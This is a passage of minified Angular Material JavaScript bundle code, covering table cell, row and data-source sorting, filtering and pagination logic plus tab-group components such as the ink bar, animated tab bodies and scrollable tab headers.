mat-footer-cell:last-of-type:not(:only-of-type){padding-right:0;padding-left:24px}mat-cell,mat-header-cell,mat-footer-cell{flex:1;display:flex;align-items:center;overflow:hidden;word-wrap:break-word;min-height:inherit}table.mat-table{border-spacing:0}tr.mat-header-row{height:56px}tr.mat-row,tr.mat-footer-row{height:48px}th.mat-header-cell{text-align:left}[dir=rtl] th.mat-header-cell{text-align:right}th.mat-header-cell,td.mat-cell,td.mat-footer-cell{padding:0;border-bottom-width:1px;border-bottom-style:solid}th.mat-header-cell:first-of-type,td.mat-cell:first-of-type,td.mat-footer-cell:first-of-type{padding-left:24px}[dir=rtl] th.mat-header-cell:first-of-type:not(:only-of-type),[dir=rtl] td.mat-cell:first-of-type:not(:only-of-type),[dir=rtl] td.mat-footer-cell:first-of-type:not(:only-of-type){padding-left:0;padding-right:24px}th.mat-header-cell:last-of-type,td.mat-cell:last-of-type,td.mat-footer-cell:last-of-type{padding-right:24px}[dir=rtl] th.mat-header-cell:last-of-type:not(:only-of-type),[dir=rtl] td.mat-cell:last-of-type:not(:only-of-type),[dir=rtl] td.mat-footer-cell:last-of-type:not(:only-of-type){padding-right:0;padding-left:24px}.mat-table-sticky{position:sticky !important}.mat-table-fixed-layout{table-layout:fixed}"],encapsulation:2}),Ge})(),Ct=(()=>{class Ge extends se{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matCellDef",""]],features:[n._Bn([{provide:se,useExisting:Ge}]),n.qOj]}),Ge})(),jt=(()=>{class Ge extends ee{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matHeaderCellDef",""]],features:[n._Bn([{provide:ee,useExisting:Ge}]),n.qOj]}),Ge})(),pt=(()=>{class Ge extends q{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matFooterCellDef",""]],features:[n._Bn([{provide:q,useExisting:Ge}]),n.qOj]}),Ge})(),nt=(()=>{class Ge extends je{get name(){return this._name}set name(Me){this._setNameInput(Me)}_updateColumnCssClassName(){super._updateColumnCssClassName(),this._columnCssClassName.push(`mat-column-${this.cssClassFriendlyName}`)}}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matColumnDef",""]],inputs:{sticky:"sticky",name:["matColumnDef","name"]},features:[n._Bn([{provide:je,useExisting:Ge},{provide:"MAT_SORT_HEADER_COLUMN_DEF",useExisting:Ge}]),n.qOj]}),Ge})(),fe=(()=>{class Ge extends le{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-header-cell"],["th","mat-header-cell",""]],hostAttrs:["role","columnheader",1,"mat-header-cell"],features:[n.qOj]}),Ge})(),Ee=(()=>{class Ge extends Oe{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-footer-cell"],["td","mat-footer-cell",""]],hostAttrs:["role","gridcell",1,"mat-footer-cell"],features:[n.qOj]}),Ge})(),at=(()=>{class Ge extends Qe{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-cell"],["td","mat-cell",""]],hostAttrs:["role","gridcell",1,"mat-cell"],features:[n.qOj]}),Ge})(),Se=(()=>{class Ge extends re{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matHeaderRowDef",""]],inputs:{columns:["matHeaderRowDef","columns"],sticky:["matHeaderRowDefSticky","sticky"]},features:[n._Bn([{provide:re,useExisting:Ge}]),n.qOj]}),Ge})(),ot=(()=>{class Ge extends xt{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matFooterRowDef",""]],inputs:{columns:["matFooterRowDef","columns"],sticky:["matFooterRowDefSticky","sticky"]},features:[n._Bn([{provide:xt,useExisting:Ge}]),n.qOj]}),Ge})(),Ne=(()=>{class Ge extends Be{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matRowDef",""]],inputs:{columns:["matRowDefColumns","columns"],when:["matRowDefWhen","when"]},features:[n._Bn([{provide:Be,useExisting:Ge}]),n.qOj]}),Ge})(),ut=(()=>{class Ge extends P{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-header-row"],["tr","mat-header-row",""]],hostAttrs:["role","row",1,"mat-header-row"],exportAs:["matHeaderRow"],features:[n._Bn([{provide:P,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),Rt=(()=>{class Ge extends w{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-footer-row"],["tr","mat-footer-row",""]],hostAttrs:["role","row",1,"mat-footer-row"],exportAs:["matFooterRow"],features:[n._Bn([{provide:w,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),Zt=(()=>{class Ge extends R{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-row"],["tr","mat-row",""]],hostAttrs:["role","row",1,"mat-row"],exportAs:["matRow"],features:[n._Bn([{provide:R,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),gn=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275mod=n.oAB({type:Ge}),Ge.\\u0275inj=n.cJS({imports:[_t,kt.BQ,kt.BQ]}),Ge})();class P1 extends u.o2{constructor(vt=[]){super(),this._renderData=new g.X([]),this._filter=new g.X(""),this._internalPageChanges=new _.xQ,this._renderChangesSubscription=null,this.sortingDataAccessor=(Me,O)=>{const de=Me[O];if((0,s.t6)(de)){const h=Number(de);return h<9007199254740991?h:de}return de},this.sortData=(Me,O)=>{const de=O.active,h=O.direction;return de&&""!=h?Me.sort(($,ke)=>{let lt=this.sortingDataAccessor($,de),Wt=this.sortingDataAccessor(ke,de);const p1=typeof lt,w1=typeof Wt;p1!==w1&&("number"===p1&&(lt+=""),"number"===w1&&(Wt+=""));let Qt=0;return null!=lt&&null!=Wt?lt>Wt?Qt=1:lt<Wt&&(Qt=-1):null!=lt?Qt=1:null!=Wt&&(Qt=-1),Qt*("asc"==h?1:-1)}):Me},this.filterPredicate=(Me,O)=>{const de=Object.keys(Me).reduce(($,ke)=>$+Me[ke]+"\\u25ec","").toLowerCase(),h=O.trim().toLowerCase();return-1!=de.indexOf(h)},this._data=new g.X(vt),this._updateChangeSubscription()}get data(){return this._data.value}set data(vt){vt=Array.isArray(vt)?vt:[],this._data.next(vt),this._renderChangesSubscription||this._filterData(vt)}get filter(){return this._filter.value}set filter(vt){this._filter.next(vt),this._renderChangesSubscription||this._filterData(this.data)}get sort(){return this._sort}set sort(vt){this._sort=vt,this._updateChangeSubscription()}get paginator(){return this._paginator}set paginator(vt){this._paginator=vt,this._updateChangeSubscription()}_updateChangeSubscription(){const vt=this._sort?(0,Fe.T)(this._sort.sortChange,this._sort.initialized):(0,z.of)(null),Me=this._paginator?(0,Fe.T)(this._paginator.page,this._internalPageChanges,this._paginator.initialized):(0,z.of)(null),de=(0,be.aj)([this._data,this._filter]).pipe((0,Pe.U)(([ke])=>this._filterData(ke))),h=(0,be.aj)([de,vt]).pipe((0,Pe.U)(([ke])=>this._orderData(ke))),$=(0,be.aj)([h,Me]).pipe((0,Pe.U)(([ke])=>this._pageData(ke)));this._renderChangesSubscription?.unsubscribe(),this._renderChangesSubscription=$.subscribe(ke=>this._renderData.next(ke))}_filterData(vt){return this.filteredData=null==this.filter||""===this.filter?vt:vt.filter(Me=>this.filterPredicate(Me,this.filter)),this.paginator&&this._updatePaginator(this.filteredData.length),this.filteredData}_orderData(vt){return this.sort?this.sortData(vt.slice(),this.sort):vt}_pageData(vt){if(!this.paginator)return vt;const Me=this.paginator.pageIndex*this.paginator.pageSize;return vt.slice(Me,Me+this.paginator.pageSize)}_updatePaginator(vt){Promise.resolve().then(()=>{const Me=this.paginator;if(Me&&(Me.length=vt,Me.pageIndex>0)){const O=Math.ceil(Me.length/Me.pageSize)-1||0,de=Math.min(Me.pageIndex,O);de!==Me.pageIndex&&(Me.pageIndex=de,this._internalPageChanges.next())}})}connect(){return this._renderChangesSubscription||this._updateChangeSubscription(),this._renderData}disconnect(){this._renderChangesSubscription?.unsubscribe(),this._renderChangesSubscription=null}}class on extends P1{}},3848:(At,ae,d)=>{"use strict";d.d(ae,{Nh:()=>jt,SP:()=>Pe,uD:()=>Dt,uX:()=>te});var n=d(2687),a=d(9643),s=d(4080),u=d(6895),c=d(4650),f=d(3238),E=d(2986),_=d(1059),S=d(5778),g=d(7625),C=d(7545),z=d(1307),H=d(2198),j=d(8929),U=d(2654),G=d(3753),Q=d(1086),oe=d(6787),Ce=d(8896),k=d(6498),K=d(7739),se=d(445),ee=d(7340),q=d(1281),we=d(7261),ce=d(3353),je=d(9521);function Ze(pt,nt){1&pt&&c.Hsn(0)}const le=["*"];function Oe(pt,nt){}const Qe=function(pt){return{animationDuration:pt}},Ye=function(pt,nt){return{value:pt,params:nt}},qe=["tabListContainer"],Ke=["tabList"],dt=["tabListInner"],bt=["nextPaginator"],ze=["previousPaginator"],De=["tabBodyWrapper"],re=["tabHeader"];function ve(pt,nt){}function We(pt,nt){if(1&pt&&c.YNc(0,ve,0,0,"ng-template",10),2&pt){const fe=c.oxw().$implicit;c.Q6J("cdkPortalOutlet",fe.templateLabel)}}function xt(pt,nt){if(1&pt&&c._uU(0),2&pt){const fe=c.oxw().$implicit;c.Oqu(fe.textLabel)}}function Be(pt,nt){if(1&pt){const fe=c.EpF();c.TgZ(0,"div",6),c.NdJ("click",function(){const at=c.CHM(fe),Se=at.$implicit,ot=at.index,Ne=c.oxw(),ut=c.MAs(1);return c.KtG(Ne._handleClick(Se,ut,ot))})("cdkFocusChange",function(at){const ot=c.CHM(fe).index,Ne=c.oxw();return c.KtG(Ne._tabFocusChanged(at,ot))}),c.TgZ(1,"div",7),c.YNc(2,We,1,1,"ng-template",8),c.YNc(3,xt,1,1,"ng-template",null,9,c.W1O),c.qZA()()}if(2&pt){const fe=nt.$implicit,Ee=nt.index,at=c.MAs(4),Se=c.oxw();c.ekj("mat-tab-label-active",Se.selectedIndex===Ee),c.Q6J("id",Se._getTabLabelId(Ee))("ngClass",fe.labelClass)("disabled",fe.disabled)("matRippleDisabled",fe.disabled||Se.disableRipple),c.uIk("tabIndex",Se._getTabIndex(fe,Ee))("aria-posinset",Ee+1)("aria-setsize",Se._tabs.length)("aria-controls",Se._getTabContentId(Ee))("aria-selected",Se.selectedIndex===Ee)("aria-label",fe.ariaLabel||null)("aria-labelledby",!fe.ariaLabel&&fe.ariaLabelledby?fe.ariaLabelledby:null),c.xp6(2),c.Q6J("ngIf",fe.templateLabel)("ngIfElse",at)}}function pe(pt,nt){if(1&pt){const fe=c.EpF();c.TgZ(0,"mat-tab-body",11),c.NdJ("_onCentered",function(){c.CHM(fe);const at=c.oxw();return c.KtG(at._removeTabBodyWrapperHeight())})("_onCentering",function(at){c.CHM(fe);const Se=c.oxw();return c.KtG(Se._setTabBodyWrapperHeight(at))}),c.qZA()}if(2&pt){const fe=nt.$implicit,Ee=nt.index,at=c.oxw();c.ekj("mat-tab-body-active",at.selectedIndex===Ee),c.Q6J("id",at._getTabContentId(Ee))("ngClass",fe.bodyClass)("content",fe.content)("position",fe.position)("origin",fe.origin)("animationDuration",at.animationDuration)("preserveContent",at.preserveContent),c.uIk("tabindex",null!=at.contentTabIndex&&at.selectedIndex===Ee?at.contentTabIndex:null)("aria-labelledby",at._getTabLabelId(Ee))}}const w=new c.OlP("MatInkBarPositioner",{providedIn:"root",factory:function R(){return nt=>({left:nt?(nt.offsetLeft||0)+"px":"0",width:nt?(nt.offsetWidth||0)+"px":"0"})}});let X=(()=>{class pt{constructor(fe,Ee,at,Se){this._elementRef=fe,this._ngZone=Ee,this._inkBarPositioner=at,this._animationMode=Se}alignToElement(fe){this.show(),this._ngZone.run(()=>{this._ngZone.onStable.pipe((0,E.q)(1)).subscribe(()=>{const Ee=this._inkBarPositioner(fe),at=this._elementRef.nativeElement;at.style.left=Ee.left,at.style.width=Ee.width})})}show(){this._elementRef.nativeElement.style.visibility="visible"}hide(){this._elementRef.nativeElement.style.visibility="hidden"}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.R0b),c.Y36(w),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["mat-ink-bar"]],hostAttrs:[1,"mat-ink-bar"],hostVars:2,hostBindings:function(fe,Ee){2&fe&&c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode)}}),pt})();const _e=new c.OlP("MatTabContent"),Je=new c.OlP("MatTabLabel"),Et=new c.OlP("MAT_TAB");let Dt=(()=>{class pt extends s.ig{constructor(fe,Ee,at){super(fe,Ee),this._closestTab=at}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.Rgc),c.Y36(c.s_b),c.Y36(Et,8))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","mat-tab-label",""],["","matTabLabel",""]],features:[c._Bn([{provide:Je,useExisting:pt}]),c.qOj]}),pt})();const Pt=(0,f.Id)(class{}),Ie=new c.OlP("MAT_TAB_GROUP");let te=(()=>{class pt extends Pt{constructor(fe,Ee){super(),this._viewContainerRef=fe,this._closestTabGroup=Ee,this.textLabel="",this._contentPortal=null,this._stateChanges=new j.xQ,this.position=null,this.origin=null,this.isActive=!1}get templateLabel(){return this._templateLabel}set templateLabel(fe){this._setTemplateLabelInput(fe)}get content(){return this._contentPortal}ngOnChanges(fe){(fe.hasOwnProperty("textLabel")||fe.hasOwnProperty("disabled"))&&this._stateChanges.next()}ngOnDestroy(){this._stateChanges.complete()}ngOnInit(){this._contentPortal=new s.UE(this._explicitContent||this._implicitContent,this._viewContainerRef)}_setTemplateLabelInput(fe){fe&&fe._closestTab===this&&(this._templateLabel=fe)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.s_b),c.Y36(Ie,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab"]],contentQueries:function(fe,Ee,at){if(1&fe&&(c.Suo(at,Je,5),c.Suo(at,_e,7,c.Rgc)),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee.templateLabel=Se.first),c.iGM(Se=c.CRH())&&(Ee._explicitContent=Se.first)}},viewQuery:function(fe,Ee){if(1&fe&&c.Gf(c.Rgc,7),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._implicitContent=at.first)}},inputs:{disabled:"disabled",textLabel:["label","textLabel"],ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],labelClass:"labelClass",bodyClass:"bodyClass"},exportAs:["matTab"],features:[c._Bn([{provide:Et,useExisting:pt}]),c.qOj,c.TTD],ngContentSelectors:le,decls:1,vars:0,template:function(fe,Ee){1&fe&&(c.F$t(),c.YNc(0,Ze,1,0,"ng-template"))},encapsulation:2}),pt})();const x={translateTab:(0,ee.X$)("translateTab",[(0,ee.SB)("center, void, left-origin-center, right-origin-center",(0,ee.oB)({transform:"none"})),(0,ee.SB)("left",(0,ee.oB)({transform:"translate3d(-100%, 0, 0)",minHeight:"1px",visibility:"hidden"})),(0,ee.SB)("right",(0,ee.oB)({transform:"translate3d(100%, 0, 0)",minHeight:"1px",visibility:"hidden"})),(0,ee.eR)("* => left, * => right, left => center, right => center",(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")),(0,ee.eR)("void => left-origin-center",[(0,ee.oB)({transform:"translate3d(-100%, 0, 0)",visibility:"hidden"}),(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")]),(0,ee.eR)("void => right-origin-center",[(0,ee.oB)({transform:"translate3d(100%, 0, 0)",visibility:"hidden"}),(0,ee.jt)("{{animationDuration}} cubic-bezier(0.35, 0, 0.25, 1)")])])};let m=(()=>{class pt extends s.Pl{constructor(fe,Ee,at,Se){super(fe,Ee,Se),this._host=at,this._centeringSub=U.w.EMPTY,this._leavingSub=U.w.EMPTY}ngOnInit(){super.ngOnInit(),this._centeringSub=this._host._beforeCentering.pipe((0,_.O)(this._host._isCenterPosition(this._host._position))).subscribe(fe=>{fe&&!this.hasAttached()&&this.attach(this._host._content)}),this._leavingSub=this._host._afterLeavingCenter.subscribe(()=>{this._host.preserveContent||this.detach()})}ngOnDestroy(){super.ngOnDestroy(),this._centeringSub.unsubscribe(),this._leavingSub.unsubscribe()}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c._Vd),c.Y36(c.s_b),c.Y36((0,c.Gpc)(()=>B)),c.Y36(u.K0))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","matTabBodyHost",""]],features:[c.qOj]}),pt})(),b=(()=>{class pt{constructor(fe,Ee,at){this._elementRef=fe,this._dir=Ee,this._dirChangeSubscription=U.w.EMPTY,this._translateTabComplete=new j.xQ,this._onCentering=new c.vpe,this._beforeCentering=new c.vpe,this._afterLeavingCenter=new c.vpe,this._onCentered=new c.vpe(!0),this.animationDuration="500ms",this.preserveContent=!1,Ee&&(this._dirChangeSubscription=Ee.change.subscribe(Se=>{this._computePositionAnimationState(Se),at.markForCheck()})),this._translateTabComplete.pipe((0,S.x)((Se,ot)=>Se.fromState===ot.fromState&&Se.toState===ot.toState)).subscribe(Se=>{this._isCenterPosition(Se.toState)&&this._isCenterPosition(this._position)&&this._onCentered.emit(),this._isCenterPosition(Se.fromState)&&!this._isCenterPosition(this._position)&&this._afterLeavingCenter.emit()})}set position(fe){this._positionIndex=fe,this._computePositionAnimationState()}ngOnInit(){"center"==this._position&&null!=this.origin&&(this._position=this._computePositionFromOrigin(this.origin))}ngOnDestroy(){this._dirChangeSubscription.unsubscribe(),this._translateTabComplete.complete()}_onTranslateTabStarted(fe){const Ee=this._isCenterPosition(fe.toState);this._beforeCentering.emit(Ee),Ee&&this._onCentering.emit(this._elementRef.nativeElement.clientHeight)}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_isCenterPosition(fe){return"center"==fe||"left-origin-center"==fe||"right-origin-center"==fe}_computePositionAnimationState(fe=this._getLayoutDirection()){this._position=this._positionIndex<0?"ltr"==fe?"left":"right":this._positionIndex>0?"ltr"==fe?"right":"left":"center"}_computePositionFromOrigin(fe){const Ee=this._getLayoutDirection();return"ltr"==Ee&&fe<=0||"rtl"==Ee&&fe>0?"left-origin-center":"right-origin-center"}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(se.Is,8),c.Y36(c.sBO))},pt.\\u0275dir=c.lG2({type:pt,inputs:{_content:["content","_content"],origin:"origin",animationDuration:"animationDuration",preserveContent:"preserveContent",position:"position"},outputs:{_onCentering:"_onCentering",_beforeCentering:"_beforeCentering",_afterLeavingCenter:"_afterLeavingCenter",_onCentered:"_onCentered"}}),pt})(),B=(()=>{class pt extends b{constructor(fe,Ee,at){super(fe,Ee,at)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(se.Is,8),c.Y36(c.sBO))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-body"]],viewQuery:function(fe,Ee){if(1&fe&&c.Gf(s.Pl,5),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._portalHost=at.first)}},hostAttrs:[1,"mat-tab-body"],features:[c.qOj],decls:3,vars:6,consts:[["cdkScrollable","",1,"mat-tab-body-content"],["content",""],["matTabBodyHost",""]],template:function(fe,Ee){1&fe&&(c.TgZ(0,"div",0,1),c.NdJ("@translateTab.start",function(Se){return Ee._onTranslateTabStarted(Se)})("@translateTab.done",function(Se){return Ee._translateTabComplete.next(Se)}),c.YNc(2,Oe,0,0,"ng-template",2),c.qZA()),2&fe&&c.Q6J("@translateTab",c.WLB(3,Ye,Ee._position,c.VKq(1,Qe,Ee.animationDuration)))},dependencies:[m],styles:[\'.mat-tab-body-content{height:100%;overflow:auto}.mat-tab-group-dynamic-height .mat-tab-body-content{overflow:hidden}.mat-tab-body-content[style*="visibility: hidden"]{display:none}\'],encapsulation:2,data:{animation:[x.translateTab]}}),pt})();const ie=new c.OlP("MAT_TABS_CONFIG"),Xe=(0,f.Id)(class{});let it=(()=>{class pt extends Xe{constructor(fe){super(),this.elementRef=fe}focus(){this.elementRef.nativeElement.focus()}getOffsetLeft(){return this.elementRef.nativeElement.offsetLeft}getOffsetWidth(){return this.elementRef.nativeElement.offsetWidth}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq))},pt.\\u0275dir=c.lG2({type:pt,selectors:[["","matTabLabelWrapper",""]],hostVars:3,hostBindings:function(fe,Ee){2&fe&&(c.uIk("aria-disabled",!!Ee.disabled),c.ekj("mat-tab-disabled",Ee.disabled))},inputs:{disabled:"disabled"},features:[c.qOj]}),pt})();const wt=(0,ce.i$)({passive:!0});let u1=(()=>{class pt{constructor(fe,Ee,at,Se,ot,Ne,ut){this._elementRef=fe,this._changeDetectorRef=Ee,this._viewportRuler=at,this._dir=Se,this._ngZone=ot,this._platform=Ne,this._animationMode=ut,this._scrollDistance=0,this._selectedIndexChanged=!1,this._destroyed=new j.xQ,this._showPaginationControls=!1,this._disableScrollAfter=!0,this._disableScrollBefore=!0,this._stopScrolling=new j.xQ,this._disablePagination=!1,this._selectedIndex=0,this.selectFocusedIndex=new c.vpe,this.indexFocused=new c.vpe,ot.runOutsideAngular(()=>{(0,G.R)(fe.nativeElement,"mouseleave").pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._stopInterval()})})}get disablePagination(){return this._disablePagination}set disablePagination(fe){this._disablePagination=(0,q.Ig)(fe)}get selectedIndex(){return this._selectedIndex}set selectedIndex(fe){fe=(0,q.su)(fe),this._selectedIndex!=fe&&(this._selectedIndexChanged=!0,this._selectedIndex=fe,this._keyManager&&this._keyManager.updateActiveItem(fe))}ngAfterViewInit(){(0,G.R)(this._previousPaginator.nativeElement,"touchstart",wt).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("before")}),(0,G.R)(this._nextPaginator.nativeElement,"touchstart",wt).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._handlePaginatorPress("after")})}ngAfterContentInit(){const fe=this._dir?this._dir.change:(0,Q.of)("ltr"),Ee=this._viewportRuler.change(150),at=()=>{this.updatePagination(),this._alignInkBarToSelectedTab()};this._keyManager=new n.Em(this._items).withHorizontalOrientation(this._getLayoutDirection()).withHomeAndEnd().withWrap(),this._keyManager.updateActiveItem(this._selectedIndex),this._ngZone.onStable.pipe((0,E.q)(1)).subscribe(at),(0,oe.T)(fe,Ee,this._items.changes,this._itemsResized()).pipe((0,g.R)(this._destroyed)).subscribe(()=>{this._ngZone.run(()=>{Promise.resolve().then(()=>{this._scrollDistance=Math.max(0,Math.min(this._getMaxScrollDistance(),this._scrollDistance)),at()})}),this._keyManager.withHorizontalOrientation(this._getLayoutDirection())}),this._keyManager.change.pipe((0,g.R)(this._destroyed)).subscribe(Se=>{this.indexFocused.emit(Se),this._setTabFocus(Se)})}_itemsResized(){return"function"!=typeof ResizeObserver?Ce.E:this._items.changes.pipe((0,_.O)(this._items),(0,C.w)(fe=>new k.y(Ee=>this._ngZone.runOutsideAngular(()=>{const at=new ResizeObserver(Se=>Ee.next(Se));return fe.forEach(Se=>at.observe(Se.elementRef.nativeElement)),()=>{at.disconnect()}}))),(0,z.T)(1),(0,H.h)(fe=>fe.some(Ee=>Ee.contentRect.width>0&&Ee.contentRect.height>0)))}ngAfterContentChecked(){this._tabLabelCount!=this._items.length&&(this.updatePagination(),this._tabLabelCount=this._items.length,this._changeDetectorRef.markForCheck()),this._selectedIndexChanged&&(this._scrollToLabel(this._selectedIndex),this._checkScrollingControls(),this._alignInkBarToSelectedTab(),this._selectedIndexChanged=!1,this._changeDetectorRef.markForCheck()),this._scrollDistanceChanged&&(this._updateTabScrollPosition(),this._scrollDistanceChanged=!1,this._changeDetectorRef.markForCheck())}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete(),this._stopScrolling.complete()}_handleKeydown(fe){if(!(0,je.Vb)(fe))switch(fe.keyCode){case je.K5:case je.L_:this.focusIndex!==this.selectedIndex&&(this.selectFocusedIndex.emit(this.focusIndex),this._itemSelected(fe));break;default:this._keyManager.onKeydown(fe)}}_onContentChanges(){const fe=this._elementRef.nativeElement.textContent;fe!==this._currentTextContent&&(this._currentTextContent=fe||"",this._ngZone.run(()=>{this.updatePagination(),this._alignInkBarToSelectedTab(),this._changeDetectorRef.markForCheck()}))}updatePagination(){this._checkPaginationEnabled(),this._checkScrollingControls(),this._updateTabScrollPosition()}get focusIndex(){return this._keyManager?this._keyManager.activeItemIndex:0}set focusIndex(fe){!this._isValidIndex(fe)||this.focusIndex===fe||!this._keyManager||this._keyManager.setActiveItem(fe)}_isValidIndex(fe){if(!this._items)return!0;const Ee=this._items?this._items.toArray()[fe]:null;return!!Ee&&!Ee.disabled}_setTabFocus(fe){if(this._showPaginationControls&&this._scrollToLabel(fe),this._items&&this._items.length){this._items.toArray()[fe].focus();const Ee=this._tabListContainer.nativeElement;Ee.scrollLeft="ltr"==this._getLayoutDirection()?0:Ee.scrollWidth-Ee.offsetWidth}}_getLayoutDirection(){return this._dir&&"rtl"===this._dir.value?"rtl":"ltr"}_updateTabScrollPosition(){if(this.disablePagination)return;const fe=this.scrollDistance,Ee="ltr"===this._getLayoutDirection()?-fe:fe;this._tabList.nativeElement.style.transform=`translateX(${Math.round(Ee)}px)`,(this._platform.TRIDENT||this._platform.EDGE)&&(this._tabListContainer.nativeElement.scrollLeft=0)}get scrollDistance(){return this._scrollDistance}set scrollDistance(fe){this._scrollTo(fe)}_scrollHeader(fe){return this._scrollTo(this._scrollDistance+("before"==fe?-1:1)*this._tabListContainer.nativeElement.offsetWidth/3)}_handlePaginatorClick(fe){this._stopInterval(),this._scrollHeader(fe)}_scrollToLabel(fe){if(this.disablePagination)return;const Ee=this._items?this._items.toArray()[fe]:null;if(!Ee)return;const at=this._tabListContainer.nativeElement.offsetWidth,{offsetLeft:Se,offsetWidth:ot}=Ee.elementRef.nativeElement;let Ne,ut;"ltr"==this._getLayoutDirection()?(Ne=Se,ut=Ne+ot):(ut=this._tabListInner.nativeElement.offsetWidth-Se,Ne=ut-ot);const Rt=this.scrollDistance,Zt=this.scrollDistance+at;Ne<Rt?this.scrollDistance-=Rt-Ne+60:ut>Zt&&(this.scrollDistance+=ut-Zt+60)}_checkPaginationEnabled(){if(this.disablePagination)this._showPaginationControls=!1;else{const fe=this._tabListInner.nativeElement.scrollWidth>this._elementRef.nativeElement.offsetWidth;fe||(this.scrollDistance=0),fe!==this._showPaginationControls&&this._changeDetectorRef.markForCheck(),this._showPaginationControls=fe}}_checkScrollingControls(){this.disablePagination?this._disableScrollAfter=this._disableScrollBefore=!0:(this._disableScrollBefore=0==this.scrollDistance,this._disableScrollAfter=this.scrollDistance==this._getMaxScrollDistance(),this._changeDetectorRef.markForCheck())}_getMaxScrollDistance(){return this._tabListInner.nativeElement.scrollWidth-this._tabListContainer.nativeElement.offsetWidth||0}_alignInkBarToSelectedTab(){const fe=this._items&&this._items.length?this._items.toArray()[this.selectedIndex]:null,Ee=fe?fe.elementRef.nativeElement:null;Ee?this._inkBar.alignToElement(Ee):this._inkBar.hide()}_stopInterval(){this._stopScrolling.next()}_handlePaginatorPress(fe,Ee){Ee&&null!=Ee.button&&0!==Ee.button||(this._stopInterval(),(0,K.H)(650,100).pipe((0,g.R)((0,oe.T)(this._stopScrolling,this._destroyed))).subscribe(()=>{const{maxScrollDistance:at,distance:Se}=this._scrollHeader(fe);(0===Se||Se>=at)&&this._stopInterval()}))}_scrollTo(fe){if(this.disablePagination)return{maxScrollDistance:0,distance:0};const Ee=this._getMaxScrollDistance();return this._scrollDistance=Math.max(0,Math.min(Ee,fe)),this._scrollDistanceChanged=!0,this._checkScrollingControls(),{maxScrollDistance:Ee,distance:this._scrollDistance}}}return pt.\\u0275fac=function(fe){return 